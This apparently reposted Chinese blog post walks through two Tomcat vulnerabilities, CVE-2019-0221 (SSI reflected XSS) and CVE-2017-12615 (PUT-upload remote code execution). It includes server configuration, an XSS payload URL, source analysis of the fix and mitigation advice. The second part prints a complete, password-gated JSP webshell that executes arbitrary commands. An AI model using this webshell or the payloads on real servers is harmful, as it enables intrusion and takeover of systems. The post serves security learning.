zoukankan      html  css  js  c++  java
  • 我成功攻击了Tomcat服务器之后

    image.png
    Tomcat是一个开源的轻量级Web应用服务器,在我们平常工作过程中接触得非常多。代码也非常经典,很多人为了提升自己的技术也会去阅读学习Tomcat的源码。但正如著名诗人李白所说的:世界上本没有漏洞,使用的人多了,也就发现了漏洞。比如今年的2月份就爆出了存在文件包含漏洞。今天我们选择两个比较直观的Tomcat漏洞去模拟整个漏洞被攻击的过程,以及漏洞为什么会产生,Tomcat大神们又是如何应对的。

    【攻击一:XSS攻击】

    一、SSI技术说明

    首先演示的漏洞和Tomcat的SSI功能有关,SSI是什么

    SSI技术,也叫作Serve Side Includes,SSI(服务器端包含)是放置在HTML页面中的指令,并在服务页面时在服务器上对其进行评估。它们使您可以将动态生成的内容添加到现有的HTML页面,而不必通过CGI程序或其他动态技术来提供整个页面。使用SSI技术文件默认的后缀名为.shtml;

    举例:我们可以将指令放置到现有的HTML页面中,例如:

    !--#echo var="DATE_LOCAL" -->
    

    当该页面被执行时,将会显示如下结果

    Sunday, 22-March-2020 18:28:54 GMT
    

    SSI最常见的用途之一:输出CGI程序的结果,例如``命中计数器''。关于该技术更为详细的说明参见:http://httpd.apache.org/docs/current/howto/ssi.html

    二、为Tomcat开启SSI

    1. 准备好JRE、tomcat环境,我选择的是“apache-tomcat-9.0.10” (该漏洞受影响的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
    2. 修改conf/context.xml第19行,开启权限
    <Context privileged="true">
    
    1. 修改confweb.xml,开启SSI Servlet。该段代码默认是被注释掉的,我们删除注释即可,代码在310-322行。
    <servlet>
            <servlet-name>ssi</servlet-name>
            <servlet-class>
              org.apache.catalina.ssi.SSIServlet
            </servlet-class>
            <init-param>
              <param-name>buffered</param-name>
              <param-value>1</param-value>
            </init-param>
            <init-param>
              <param-name>debug</param-name>
              <param-value>0</param-value>
            </init-param>
            <init-param>
              <param-name>expires</param-name>
              <param-value>666</param-value>
            </init-param>
            <init-param>
              <param-name>isVirtualWebappRelative</param-name>
              <param-value>false</param-value>
            </init-param>
            <load-on-startup>4</load-on-startup>
        </servlet>
    

    去掉关于ssi配置的注释 422-425行

      <servlet-mapping>
            <servlet-name>ssi</servlet-name>
            <url-pattern>*.shtml</url-pattern>
        </servlet-mapping>
    
    1. 在根目录下添加madashu_env.shtml(习惯性命名为printEnv.shtml)文件,位于webapps/ROOT/ssi/
    <html><head><title></title><body>
    Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
    Env: <!--#printenv -->
    </body></html>
    
    1. 启动Tomcat即可

    三、发起攻击

    1. 我们输入以下url看下效果
    http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
    

    image.png
    2. XSS注入

    http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
    

    攻击成功,页面展示如下。
    image.png
    通过这种方式我们使用户加载并执行攻击者恶意制造的网页程序,攻击者还可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    四、源码分析

    漏洞产生后,Tomcat大神们迅速修复了该漏洞,我们从Github上找到当时的代码修复提交记录:点击查看commit
    image.png
    说真的,当时看到这段修复代码我是惊呆了,这是什么骚操作!!!“entity”又是什么鬼!!!
    image.png
    于是接下往下翻代码
    image.png
    这个地方将我们输入的变量值直接输出到了网页,很明显刚刚的entity应该是进行了转码。我们找到SSIMediator.java文件,路径org.apache.catalina.ssi. SSIMediator
    image.png
    image.png
    image.png
    这样我们一下子就明白过来了,当发现是“entity”编码,会将输入的内容进行Escape,从而避免了XSS。
    估计大神们当时也是紧急出了个hotfix版本,直接把参数写死成“entity”。还有作为Web服务器,大神们竟然也会犯这么低级别的错误,所以这也解释了为什么不存在0Bug的系统,哈哈!去翻看最新的SSIPrintenv.java文件,已经把“entity”定义成常量了,这才专业嘛!
    image.png

    【攻击二:远程代码执行】

    接下来再简单演示下远程代码执行漏洞,该漏洞为高危漏洞,即使是非默认配置,但是一旦存在漏洞,那么攻击者可以成功上传 Webshell,并控制服务器。

    1. 通过put方式上传文件,请求进行中时进行拦截:
      image.png
    2. 生成恶意文件,取名叫jiansheng.jsp
      image.png
    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
    
    1. 远程上传成功,接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
      image.png
    2. 整个代码也是比较简单的,可以翻看JspServlet.java,这里就不做演示了。
      说明:该漏洞影响范围非常广,从 5.x 到 9.x 全部中枪。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。

    结语】兴趣是最好的老师,我们通过去看大佬们掉过的坑,写过的代码,站在巨人的肩膀人可以更快速地提升自己。有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞:
    http://tomcat.apache.org/security-9.html
    本次演示的两个漏洞分别是CVE-2019-0221,CVE-2017-12615。

    往期推荐
    AI学习笔记:特征工程
    从千万级数据查询来聊一聊索引结构和数据库原理
    AI学习笔记(一):人工智能与机器学习概述
    史上最强的Java堆内缓存框架,不接受反驳(附源码)
    SpringCloud第二代实战系列(一):使用Nacos实现服务注册与发现

    感谢各位大佬关注公众号“码大叔”,我们一起交流学习!
    微信公众号:码大叔 十年戎“码”,老“叔”开花

  • 相关阅读:
    Windows Azure Web Site (19) Azure Web App链接到VSTS
    Windows Azure Virtual Machine (35) Azure VM通过Linked DB,执行SQL Job
    Azure PowerShell (16) 并行开关机Azure ARM VM
    Windows Azure Virtual Network (12) 虚拟网络之间点对点连接VNet Peering
    Azure ARM (21) Azure订阅的两种管理模式
    Windows Azure Platform Introduction (14) 申请海外的Windows Azure账户
    Azure ARM (20) 将非托管磁盘虚拟机(Unmanage Disk),迁移成托管磁盘虚拟机(Manage Disk)
    Azure ARM (19) 将传统的ASM VM迁移到ARM VM (2)
    Azure ARM (18) 将传统的ASM VM迁移到ARM VM (1)
    Azure Automation (6) 执行Azure SQL Job
  • 原文地址:https://www.cnblogs.com/madashu/p/12550149.html
Copyright © 2011-2022 走看看